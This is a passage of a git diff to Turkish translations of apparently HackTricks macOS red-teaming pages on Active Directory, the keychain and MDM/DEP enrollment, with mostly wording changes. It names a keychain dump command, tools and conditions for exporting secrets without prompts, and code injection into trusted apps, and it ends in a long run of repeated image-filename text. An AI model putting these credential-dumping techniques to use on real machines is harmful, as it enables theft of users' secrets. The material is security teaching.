[**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory listeleme yapmak için JavaScript for Automation (JXA) aracı. ### Alan Bilgisi ```bash @@ -134,11 +134,11 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil MacOS kullanıcılarının üç türü vardır: - **Yerel Kullanıcılar** — Yerel OpenDirectory hizmeti tarafından yönetilir, Active Directory ile herhangi bir bağlantıları yoktur. -- **Ağ Kullanıcıları** — Kimlik doğrulamak için DC sunucusuna bağlantı gerektiren geçici Active Directory kullanıcılarıdır. +- **Ağ Kullanıcıları** — DC sunucusuna bağlanarak kimlik doğrulaması gerektiren geçici Active Directory kullanıcılarıdır. - **Mobil Kullanıcılar** — Kimlik bilgileri ve dosyaları için yerel bir yedekleme olan Active Directory kullanıcılarıdır. Kullanıcılar ve gruplar hakkında yerel bilgiler _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\ -Örneğin, _mark_ adlı kullanıcının bilgileri _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında ve _admin_ grubunun bilgileri _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında saklanır. +Örneğin, _mark_ adlı kullanıcının bilgileri _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında ve _admin_ grubunun bilgileri _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında saklanmaktadır. HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound, Bloodhound veritabanına üç yeni kenar ekler**: diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index ff5355f04..cecbe1270 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -12,7 +12,7 @@ ### Şifre Anahtarlığı Erişimi -Bu dosyalar, doğrudan koruma içermemelerine rağmen **indirilebilir**, şifrelenmiştir ve **şifresinin çözülmesi için kullanıcının düz metin şifresini** gerektirir. Şifre çözme için [**Chainbreaker**](https://github.com/n0fate/chainbreaker) gibi bir araç kullanılabilir. +Bu dosyalar, doğrudan koruma içermemelerine rağmen **indirilebilir**, şifrelenmiştir ve **şifresiz kullanıcı parolasının çözülmesi** gerekmektedir. [**Chainbreaker**](https://github.com/n0fate/chainbreaker) gibi bir araç şifre çözme için kullanılabilir. ## Anahtarlık Girişi Koruma @@ -27,12 +27,12 @@ Anahtarlıkta her giriş, çeşitli eylemleri gerçekleştirebilecek kişileri b ACL'ler, bu eylemleri istem olmadan gerçekleştirebilecek **güvenilir uygulamalar listesi** ile birlikte gelir. Bu şunlar olabilir: - **N`il`** (yetki gerektirmeyen, **herkes güvenilir**) -- **Boş** bir liste (**kimse** güvenilir değil) +- **Boş** bir liste (**hiç kimse** güvenilir değil) - Belirli **uygulamaların** **listesi**. Ayrıca giriş, **`ACLAuthorizationPartitionID`** anahtarını içerebilir; bu, **teamid, apple** ve **cdhash**'i tanımlamak için kullanılır. -- Eğer **teamid** belirtilmişse, **girişin** değerine **istem olmadan** erişmek için kullanılan uygulamanın **aynı teamid**'ye sahip olması gerekir. +- Eğer **teamid** belirtilmişse, **giriş** değerine **istem olmadan** erişmek için kullanılan uygulamanın **aynı teamid**'ye sahip olması gerekir. - Eğer **apple** belirtilmişse, uygulamanın **Apple** tarafından **imzalanmış** olması gerekir. - Eğer **cdhash** belirtilmişse, **uygulama** belirli bir **cdhash**'e sahip olmalıdır. @@ -73,14 +73,14 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - # Dump specifically the user keychain security dump-keychain ~/Library/Keychains/login.keychain-db ``` -### API'ler +### APIs > [!TIP] > **Anahtar zinciri numaralandırma ve gizli bilgilerin dökümü** için **uyarı oluşturmayacak** olanlar, [**LockSmith**](https://github.com/its-a-feature/LockSmith) aracıyla yapılabilir. > > Diğer API uç noktaları [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) kaynak kodunda bulunabilir. -Her anahtar zinciri girişi hakkında **bilgi** listeleyin ve alın, **Security Framework** kullanarak veya Apple'ın açık kaynak cli aracı [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**'yi** kontrol edebilirsiniz. Bazı API örnekleri: +Her anahtar zinciri girişi hakkında **bilgi** listeleyin ve alın, **Güvenlik Çerçevesi** kullanarak veya Apple'ın açık kaynaklı cli aracı [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**'yi** kontrol edebilirsiniz. Bazı API örnekleri: - API **`SecItemCopyMatching`** her giriş hakkında bilgi verir ve kullanırken ayarlayabileceğiniz bazı özellikler vardır: - **`kSecReturnData`**: Eğer doğruysa, veriyi şifre çözmeye çalışır (potansiyel açılır pencereleri önlemek için yanlış olarak ayarlayın) @@ -103,29 +103,29 @@ Verileri dışa aktarın: - API **`SecKeychainItemCopyContent`** düz metni alır - API **`SecItemExport`** anahtarları ve sertifikaları dışa aktarır ancak içeriği şifreli olarak dışa aktarmak için şifre ayarlamanız gerekebilir -Ve bu, **uyarı olmadan bir gizli bilgiyi dışa aktarmak** için gereken **şartlardır**: +Ve bu, **uyarı olmadan bir gizli bilgiyi dışa aktarabilmek için** gereken **şartlardır**: - Eğer **1+ güvenilir** uygulama listelenmişse: -- Uygun **yetkilendirmelere** ihtiyaç vardır (**`Nil`**, veya gizli bilgiye erişim için yetkilendirme listesinde **yer almak**) +- Uygun **yetkilere** ihtiyaç vardır (**`Nil`**, veya gizli bilgilere erişim için yetkilendirilmiş uygulama listesinde **yer almak**) - **PartitionID** ile eşleşen kod imzasına ihtiyaç vardır - Bir **güvenilir uygulama** ile eşleşen kod imzasına ihtiyaç vardır (veya doğru KeychainAccessGroup'un üyesi olmalısınız) - Eğer **tüm uygulamalar güvenilir** ise: -- Uygun **yetkilendirmelere** ihtiyaç vardır +- Uygun **yetkilere** ihtiyaç vardır - **PartitionID** ile eşleşen kod imzasına ihtiyaç vardır - Eğer **PartitionID** yoksa, bu gerekli değildir > [!CAUTION] > Bu nedenle, eğer **1 uygulama listelenmişse**, o uygulamaya **kod enjekte etmeniz** gerekir. > -> Eğer **apple** **partitionID**'de belirtilmişse, **`osascript`** ile erişebilirsiniz, bu nedenle partitionID'de apple olan tüm uygulamalara güvenen herhangi bir şey. Bunun için **`Python`** da kullanılabilir. +> Eğer **partitionID** içinde **apple** belirtilmişse, **`osascript`** ile erişebilirsiniz, bu nedenle partitionID içinde apple olan tüm uygulamalara güvenen herhangi bir şey. Bunun için **`Python`** da kullanılabilir. ### İki ek özellik - **Görünmez**: Bu, girişi **UI** Anahtar Zinciri uygulamasından **gizlemek** için bir boolean bayraktır -- **Genel**: **Meta verileri** depolamak içindir (yani ŞİFRELİ DEĞİLDİR) +- **Genel**: **meta verileri** depolamak içindir (yani ŞİFRELİ DEĞİLDİR) - Microsoft, hassas uç noktaya erişim için tüm yenileme jetonlarını düz metin olarak saklıyordu. -## Referanslar +## References - [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY) diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index fc528d920..4a7a6194c 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**macOS MDM'leri hakkında bilgi almak için kontrol edin:** +**macOS MDM'leri öğrenmek için kontrol edin:** - [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) - [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) @@ -27,14 +27,14 @@ Apple tarafından sunulan [Cihaz Kaydı Programı](https://www.apple.com/busines ### **Güvenlik Dikkati** -DEP tarafından sağlanan kayıt kolaylığının faydalı olmasına rağmen, güvenlik riskleri de oluşturabileceğini belirtmek önemlidir. MDM kaydı için koruyucu önlemler yeterince uygulanmazsa, saldırganlar bu basitleştirilmiş süreci kullanarak kendi cihazlarını organizasyonun MDM sunucusuna kaydedebilir ve kurumsal bir cihaz gibi davranabilirler. +DEP tarafından sağlanan kayıt kolaylığının faydalı olduğu kadar güvenlik riskleri de taşıyabileceğini belirtmek önemlidir. MDM kaydı için koruyucu önlemler yeterince uygulanmazsa, saldırganlar bu basitleştirilmiş süreci kullanarak kendi cihazlarını organizasyonun MDM sunucusuna kaydedebilir ve kurumsal bir cihaz gibi davranabilirler. > [!CAUTION] > **Güvenlik Uyarısı**: Basitleştirilmiş DEP kaydı, uygun koruma önlemleri alınmadığı takdirde, organizasyonun MDM sunucusunda yetkisiz cihaz kaydına olanak tanıyabilir. -### Temel Bilgiler SCEP (Basit Sertifika Kaydı Protokolü) Nedir? +### SCEP (Basit Sertifika Kaydı Protokolü) Nedir? -- TLS ve HTTPS yaygınlaşmadan önce oluşturulmuş, nispeten eski bir protokoldür. +- Göreceli olarak eski bir protokol, TLS ve HTTPS yaygınlaşmadan önce oluşturulmuştur. - Müşterilere bir **Sertifika İmzalama Talebi** (CSR) gönderme konusunda standart bir yol sunar. Müşteri, sunucudan imzalı bir sertifika talep eder. ### Yapılandırma Profilleri (aka mobileconfigs) Nedir? @@ -49,25 +49,25 @@ DEP tarafından sağlanan kayıt kolaylığının faydalı olmasına rağmen, g ### MDM - APNs (**Apple sunucuları**) + RESTful API (**MDM** **satıcı** sunucuları) kombinasyonu -- **İletişim**, bir **cihaz** ile bir **cihaz yönetim** **ürünü** ile ilişkili bir sunucu arasında gerçekleşir +- **İletişim**, bir **cihaz** ile bir **cihaz yönetim** **ürünü** ile ilişkili sunucu arasında gerçekleşir - **Komutlar**, MDM'den cihaza **plist kodlu sözlükler** şeklinde iletilir -- Tüm iletişim **HTTPS** üzerinden gerçekleşir. MDM sunucuları genellikle (ve genellikle) pinlenmiştir. +- Tüm iletişim **HTTPS** üzerinden. MDM sunucuları genellikle pinlenir. - Apple, MDM satıcısına kimlik doğrulama için bir **APNs sertifikası** verir ### DEP - **3 API**: 1 satıcılar için, 1 MDM satıcıları için, 1 cihaz kimliği için (belgelendirilmemiş): -- Sözde [DEP "bulut hizmeti" API'si](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Bu, MDM sunucularının DEP profillerini belirli cihazlarla ilişkilendirmek için kullanılır. -- Cihazları kaydetmek, kayıt durumunu kontrol etmek ve işlem durumunu kontrol etmek için Apple Yetkili Satıcıları tarafından kullanılan [DEP API'si](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html). +- Sözde [DEP "bulut hizmeti" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Bu, MDM sunucuları tarafından DEP profillerini belirli cihazlarla ilişkilendirmek için kullanılır. +- Cihazları kaydetmek, kayıt durumunu kontrol etmek ve işlem durumunu kontrol etmek için Apple Yetkili Satıcıları tarafından kullanılan [DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html). - Belgelendirilmemiş özel DEP API'si. Bu, Apple Cihazları tarafından DEP profillerini talep etmek için kullanılır. macOS'ta, `cloudconfigurationd` ikili dosyası bu API üzerinden iletişim kurmaktan sorumludur. -- Daha modern ve **JSON** tabanlı (plist'e göre) +- Daha modern ve **JSON** tabanlı (plist'e karşı) - Apple, MDM satıcısına bir **OAuth token** verir -**DEP "bulut hizmeti" API'si** +**DEP "bulut hizmeti" API** - RESTful - Apple'dan MDM sunucusuna cihaz kayıtlarını senkronize eder -- MDM sunucusundan Apple'a "DEP profilleri" senkronize eder (daha sonra cihazlara teslim edilir) +- MDM sunucusundan Apple'a "DEP profilleri" senkronize eder (daha sonra cihazlara Apple tarafından iletilir) - Bir DEP “profili” şunları içerir: - MDM satıcı sunucu URL'si - Sunucu URL'si için ek güvenilir sertifikalar (isteğe bağlı pinleme) @@ -75,13 +75,13 @@ DEP tarafından sağlanan kayıt kolaylığının faydalı olmasına rağmen, g ## Seri Numarası -2010'dan sonra üretilen Apple cihazları genellikle **12 karakterli alfanümerik** seri numaralarına sahiptir; **ilk üç haneli** kısım üretim yerini, sonraki **iki** haneli kısım **yıl** ve **hafta** bilgisini, sonraki **üç** haneli kısım ise **benzersiz** **tanımlayıcıyı** sağlar ve **son dört** haneli kısım **model numarasını** temsil eder. +2010'dan sonra üretilen Apple cihazları genellikle **12 karakterli alfanümerik** seri numaralarına sahiptir; **ilk üç haneler üretim yerini**, sonraki **iki** hane **yıl** ve **hafta** bilgisini, sonraki **üç** hane **benzersiz** **tanımlayıcıyı** ve **son dört** hane **model numarasını** temsil eder. {{#ref}} macos-serial-number.md {{#endref}} -## Kayıt ve Yönetim Adımları +## Kayıt ve yönetim adımları 1. Cihaz kaydı oluşturma (Satıcı, Apple): Yeni cihaz için kayıt oluşturulur 2. Cihaz kaydı atama (Müşteri): Cihaz bir MDM sunucusuna atanır @@ -97,7 +97,7 @@ Dosya `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/P ### Adım 4: DEP kontrolü - Aktivasyon Kaydını Alma -Bu süreç, bir **kullanıcının bir Mac'i ilk kez başlatması** (veya tamamen silme sonrası) sırasında gerçekleşir. +Bu süreç, bir **kullanıcının bir Mac'i ilk kez başlattığında** (veya tamamen silindikten sonra) gerçekleşir. ![](<../../../images/image (1044).png>) @@ -114,7 +114,7 @@ Aktivasyon Kaydını almak için **`MCTeslaConfigurationFetcher`** tarafından g 1. **sertifika al** 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) -2. **Durumu** sertifikadan başlat (**`NACInit`**) +2. Sertifikadan durumu **başlat** (**`NACInit`**) 1. Çeşitli cihaz spesifik verileri kullanır (yani **Seri Numarası `IOKit` aracılığıyla**) 3. **oturum anahtarını al** 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) @@ -122,13 +122,13 @@ Aktivasyon Kaydını almak için **`MCTeslaConfigurationFetcher`** tarafından g 5. Talebi yap 1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) adresine `{ "action": "RequestProfileConfiguration", "sn": "" }` verisini göndererek 2. JSON yükü Absinthe ile şifrelenir (**`NACSign`**) -3. Tüm talepler HTTPS üzerinden, yerleşik kök sertifikalar kullanılarak yapılır +3. Tüm talepler HTTPS üzerinden, yerleşik kök sertifikalar kullanılır ![](<../../../images/image (566) (1).png>) Yanıt, aşağıdaki gibi bazı önemli verileri içeren bir JSON sözlüğüdür: -- **url**: Aktivasyon profili için MDM satıcısı ana bilgisayarının URL'si +- **url**: Aktivasyon profili için MDM satıcı ana bilgisayarının URL'si - **anchor-certs**: Güvenilir kökler olarak kullanılan DER sertifikalarının dizisi ### **Adım 5: Profil Alma** @@ -136,7 +136,7 @@ Yanıt, aşağıdaki gibi bazı önemli verileri içeren bir JSON sözlüğüdü ![](<../../../images/image (444).png>) - **DEP profilinde sağlanan URL'ye** talep gönderilir. -- **Köprü sertifikaları**, sağlanmışsa, **güven değerlendirmesi** için kullanılır. +- **Köprü sertifikaları**, sağlanmışsa **güveni değerlendirmek** için kullanılır. - Hatırlatma: **DEP profilinin anchor_certs** özelliği - **Talep, cihaz tanımlaması ile basit bir .plist**'tir - Örnekler: **UDID, OS versiyonu**. @@ -144,4 +144,4 @@ Yanıt, aşağıdaki gibi bazı önemli verileri içeren bir JSON sözlüğüdü - **Cihaz kimlik sertifikası (APNS'den)** kullanılarak imzalanmıştır. - **Sertifika zinciri**, süresi dolmuş **Apple iPhone Cihaz CA**'sını içerir. -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 